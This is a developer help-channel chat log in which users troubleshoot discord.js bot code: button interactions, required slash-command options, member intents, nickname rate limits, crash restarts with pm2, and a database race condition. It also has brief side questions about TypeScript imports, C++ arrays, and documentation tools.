.setCustomId('no')

    );

    interaction.reply({ content:`Are you sure?`, components: [row], })

const filter = (interaction) => {
if(interaction.user.id === message.author.id) return true;
return interaction.reply({ content: "You can't use this button" })

}

    const collector = message.channel.createMessageComponentCollector({ filter,
    max: 1,
     })
collector.on('end', (ButtonInteraction) => {
const id = ButtonInteraction.first().customId;

if(id === 'yes') return ButtonInteraction.first().reply(`Banned!`)
if(id === 'no') return ButtonInteraction.first().reply('Cancelled Interaction.')

})

Error

/home/runner/Staff-Manager/node_modules/discord.js/src/rest/RequestHandler.js:349
      throw new DiscordAPIError(data, res.status, request);
            ^

DiscordAPIError: Unknown interaction```
#

@boreal iron

#

Be patient

#

Don't ping people for help

#

my bad

simple stump
#

When getting the user through the cache, it returns undefined for some reason. I’ve also tried instead of inserting every user’s ID into an array changing their nickname through that loop instead, but then I get rate limited.

https://sourceb.in/ZX2ifsSrIi

earnest phoenix
#

You can turn the guild members intent on and fetch the member

earnest phoenix
simple stump
simple stump
earnest phoenix
#

Yep seems like you fetched correctly

earnest phoenix
#

You'll obviously get ratelimited if you change every 2 seconds

simple stump
#

I could just do every 10 lol

#

Just that rn each member is returning undefined

#

Which confuses me since when outputting the ID it returns the correct value

#

I’m only changing everyone’s nickname once anyways so just doing it every 10 sec is fine

earnest phoenix
#

I can't see as of right now why it's returning undefined on my phone but I can advise not to change every 2s

simple stump
#

Aight. Thanks I’ll change it to a higher value

sudden geyser
earnest phoenix
wheat mesa
earnest phoenix
#

I just needed to replace message w/interaction

#

I had 2 of em hidden in there by accident.

wheat mesa
#

That’s interesting... I’d think it would throw a syntax error given message isn’t defined then

boreal iron
earnest phoenix
#

It needs to be only 3s.

#

As if it not, then they can click yes and no.

#

They need to only choose 1 option

boreal iron
boreal iron
#

Hard to figure it out on mobile

#

(which reply)

earnest phoenix
#

I fixed it lol.

boreal iron
simple stump
#

i dont want to manaully change every user's username tho lol

#

especailly with 700+ ppl

boreal iron
#

Whatever you wanna do with usernames in terms of an "elo" you mentioned, think about a different way

#

For example roles and colors

earnest phoenix
#
interaction.member.tag```
Why does this return `undefiend`?
simple stump
#

i kinda have to change the nicknames

#

im making a ranked server which uses nicknames and sql to store elo, but nicks to display it on discord

boreal iron
simple stump
boreal iron
#

Instead of changing user names to display a rank, just create roles and assign to the members
To identify which members has which rank in your database, use the unique user ID and also store the roles in your database

simple stump
#

thats what im doing. i have different divisions that display the users rank that updates every time they finish a game, but i want to change the user's nickname based on their elo

boreal iron
#

Since roles can have different colors you can easily sort/check which rank a member has

#

Or by clicking on the member to see the role name which can be the rank name

simple stump
#

yea. idk the system i have is working fine, just that im just trying to reset roles, nicks, etc.

boreal iron
#

You will always run into rate limits as changing the user name is not supposed to happen every few minutes/hours whatever for many users

simple stump
#

yea it isnt intended for discord

boreal iron
#

That’s why I said assign/remove roles which are your ranks

#

That’s the easiest solution

simple stump
#

aight. ill look into it. thx

boreal iron
#

Not much else to suggest

#

Tbh

earnest phoenix
#

How do I make a slash command un-optional aka required to mention a user etc..

oak cliff
#

require it to be a user

#

what lang/lib are you using

boreal iron
#

Just add required: true to the options (of your option) oldEyes

#

Also the types can be found here or on the dev portal:

earnest phoenix
#
.addUserOption(option => option.setName('user')
      .setDescription('Select a User to Kick.'), required: true)```
#
/home/runner/Staff-Manager/commands/kick.js:9
      .setDescription('Select a User to Kick.'), required: true)
                                                 ^^^^^^^^

SyntaxError: missing ) after argument list```
boreal iron
#

Dunno how the method is called for the helper but meanwhile just add the property yourself

#

option.required = true

#
.addUserOption(option => 
{
option.setName('user').setDescription('Select a User to Kick.');
option.required = true;
}
#

Maybe it’s called setRequired() ?!

#

Idk

#

Take a look at the docs, I’m gonna sleep

crystal wigeon
#

hey so umm, im trying to replace ../../module/index imports with module/index but for some reason when i try to start the app it fails with module not found.. I've added the rootDir and baseUrl to be src in my tsconfig file and while importing it, it autofills the paths....

earnest phoenix
#

../module/index.js

#

module/index is making it think it is a npm package.

crystal wigeon
#

yeah whatever the imports... i want to import "module/index" instead

#

ye i've mentioned it in tsconfig

#

the rootdir and baseurl

#

does it not work?

earnest phoenix
#

TS, wouldn't know. I use djs, been a while since I've used TS

crystal wigeon
#

when i start typing "modu" it shows me it can import

#

typescript

#

lol

#

mhm

#

someone else will help, maybe

earnest phoenix
#

nvm

short parcel
#

Hey, my bot needs to fetch ids of all members of a guild to work. so is there any privileged gateway intent i need?

pearl trail
#

if it's about members, then GUILD_MEMBERS

boreal iron
#

Keep in mind that needs a verification if your bot is in more than 75 guilds

#

With a valid reason

short parcel
#

so i currently had all intents ticked in development

#

but now they are asking which ones i need and why

boreal iron
#

Yeah you need a valid reason for each intent or it will be declined

pearl trail
#

and tell them why you need it

#

like i want to use it for ... command, for ... feature

#

and how it works

boreal iron
short parcel
#

okay, so my bot is like a leaderboard

#

its an extension for vscode which tracks the time u spend in vscode. and the bot displays that in discord

boreal iron
#

And what’s the reason to fetch all members then?

short parcel
boreal iron
#

Can the user somehow choose not to be on that lisz?

#

*list

short parcel
#

nope

boreal iron
#

Well… I doubt you will get the intent then but I’m not discord ofc

short parcel
#

thats sad

boreal iron
#

I mean just try it, a verification is required anyways to get into more guilds

boreal iron
#

They may verify your bot but not the intent

#

But like I said I don’t know of course

short parcel
#

okay, ill try it once

boreal iron
#

It will take a while anyways

#

days up to week(s)

earnest phoenix
#

most people are inactive and those who are active are already cached

short parcel
#

this is the approach i used

#

this one

earnest phoenix
#

why are you awaiting map

#

also isn't it a collection instead of array

raw nest
#

Does someone know an easy to use and good looking documentation software? F.e. discordjs or top.gg docs are very nice
Free to use would be good

earnest phoenix
cinder patio
pale vessel
#

#plug

cinder patio
#

not yet lol

raw nest
cinder patio
raw nest
#

doesn‘t matter too xD

cinder patio
#

it kinda does tho, if you use typescript you can use typedoc, if you use JS jsdoc

brave ore
#

how can i change bot pfp on website??

lethal trout
#

if i am hosting from pc then what should the link be?

ripe prairie
#

random c++ question but our prof gave us

int [] a = new int[ arraySize ];```
but this errors because of `int [] a`

is it supposed to be 
```cpp
int* a = new int [arraySize];```?

(arraySize is just an int)
#

use case is for examining cache misses and running time when changing step size

earnest mural
#

pretty sure yeah

cinder patio
#

The second one is creating a pointer to the array, the first one is creating the value and it would be correct if you removed the new AFAIK

ripe prairie
#

for the first one, this is the warning/error i get

cinder patio
#

oh yeah if you just want an empty array with a specific length do int a[len]

raw nest
ripe prairie
#

i think what it's trying to do is dynamically create arrays or something?

#

tbf i dont really understand c++ lol

#

just sorta expected the first line to work cuz i've seen it in different code formatted exactly like that and it worked fine there

cinder patio
#

I recommend using a vector instead of handling the array yourself via pointers

ripe prairie
#

tis an assignment, gotta do it this way pensiveBread

cinder patio
#

oh

#

what exactly is the assignment? What do you have to do with the array

ripe prairie
#

well there's 2 parts to it but rn im doing p1

essentially i have to time the for loop and give arraySize and stepSize (both ints) a whatever number. array should be big enough so that there will be a lot of cache misses

#

ok nvm i think i got p1 down

round perch
#

Would anyone like to develop this to be more fun, and interactive instead of just 5 lines of code?

spark flint
#

no

earnest phoenix
#

gitbook

#

jsdoc

#

man7

#

all are great

round perch
#

why is node.js useful for this

earnest phoenix
#

Because javascript

round perch
#

ah

raw nest
cinder patio
#

they all do the same thing so it's up to you

#

which design you like more

raw nest
#

yeah I think I choose docusaurus

stiff nest
#

How do I put vote logs of Top.gg in a channel

raw nest
#

I have a problem. I have 1 VPS with good specs.
Now I don‘t know how I should strucuture my server… I want:

  • dev servers
  • host things like docusaurus and other software
  • host own sites
    and I want to have domain alias for these things (I get this but it has to do with the structure)
quartz kindle
#

and a webserver like nginx for routing

#

or if you like containerizing stuff, run each project with docker

woeful pike
slow ibex
#

Okay.. uh.. hi.. again.. uuuh
So.. i have a discord bot.. and it crashes sometimes.. i also have a crashlogger running.. the problem is.. sometimes it crashes without logging anything
My question is.. how can i reliable log Crashes and then maybe automaticly restart it?

spark flint
#

^^

#

pm2 is great

earnest phoenix
#

node has a second package manager?!?!?!?!

slow ibex
#

Uh nice. it also has a "Web Interface"

earnest phoenix
#

Mobile doesn't exist

spark flint
#

yup

#

sad

slow ibex
#

And what about the logging part? I use crashcollector and its the first thing that gets loaded in the script. But sometimes it seems to crash without logging :/

#

oh ffs.. sorry for the ping

lethal trout
earnest phoenix
#

why is my bot a time traveler?

grim aspen
#

????

earnest phoenix
#

when i store something in the db sometimes after a day it returns to a older version

#

why is my bot a failure

#

like if i had 50 coins and i add 5000 sometimes it restores to 50 instead of letting be 5000

earnest mural
earnest phoenix
earnest phoenix
#

but yeah i'm using v12 and i'm too noob at this and my bot's being a succeed

next crown
#

Hi so my Heroku push failed because of unrecognized error anyone knows how to fix this?

earnest phoenix
#

like 1.5 years of learning copy pasting, experimenting and not learning by tutorials

next crown
#

Hi so my Heroku push failed because of unrecognized error anyone knows how to fix this?

earnest phoenix
lyric mountain
#

give something to be analyzed like the actual error

#

just "my code errored" isn't enought to even start debugging

next crown
#

It literally says there is unrecognized error

#

Wtf am I supposed to say anymore?

lyric mountain
# earnest phoenix how's that

consider the following scenario:

  • A has 3 cookies
  • A bought a pack with 2 cookies and a pack with 5 cookies, but the third pack will arrive 1 day after the second pack
  • How many cookies will A have when the third pack arrives?
#

answer: 3 cookies

earnest phoenix
#

oh

lyric mountain
#

why? because both started when A had 3 cookies, and they don't acknowledge each other

#

so second and third packs thing A has 3 cookies

#

so it'll go like this:

  • 2nd pack: 3 + 2 = 5
  • 3rd pack: 3 + 5 = 8
#

since 3rd pack arrived later, it'll be the value saved

lyric mountain
earnest phoenix
#

oh ok

lyric mountain
#

to counter that, you either need to refresh the current value before adding coins or make it impossible for two transactions to happen at the same time

next crown
lyric mountain
#

did you try that code locally?

next crown
#

No it's like new push

#

Tried to push new command

lyric mountain
#

try running it locally before pushing to heroku, if the problem doesn't happen locally it'll mean it's an issue regarding heroku

lyric mountain
#

yw

earnest phoenix
#
       await users.map(async (abc) => {

        await wait(1000);

            if(hedef === "bots")
            {
                if(abc.bot === false) 
                {
                    return console.log(`${abc.tag} !== ${abc.bot}`);
                }

                else if(seçenek === "ver")
                {
                    console.log("ok")
                        await abc.roles.add(role)
                        .then(console.log("Sucsess"))
                        .catch(async() => {
                            i.reply("Birşeyler ters gitti. Botun izinlerini kontrol et");
                        });
                }

                else if(seçenek === "al")
                {
                    console.log("ok")
                        await abc.roles.remove(role)
                        .then(console.log("Sucsess"))
                        .catch(async() => {
                            i.reply("Birşeyler ters gitti. Botun izinlerini kontrol et");
                        });
                }

            }
why it addes to all users
lament rock
#

because else if

lyric mountain
#

first of all, don't use accents on variables

boreal iron
#

why the fuck do you await a map?

lyric mountain
#

second, use suggestive names

#

we don't know wtf abc is supposed to be

boreal iron
#

Also return if abc.bot === false will end the whole loop

#

also catch async?

lyric mountain
#

also I'm pretty sure you meant .then(() => console.log("Success")) instead of .then(console.log("Sucsess"))

earnest phoenix
#

else if options = give roles add

earnest phoenix
solemn jolt
#

how i connect this database

lyric mountain
#

I wonder if he's still reading the answers

solemn jolt
#

?

lyric mountain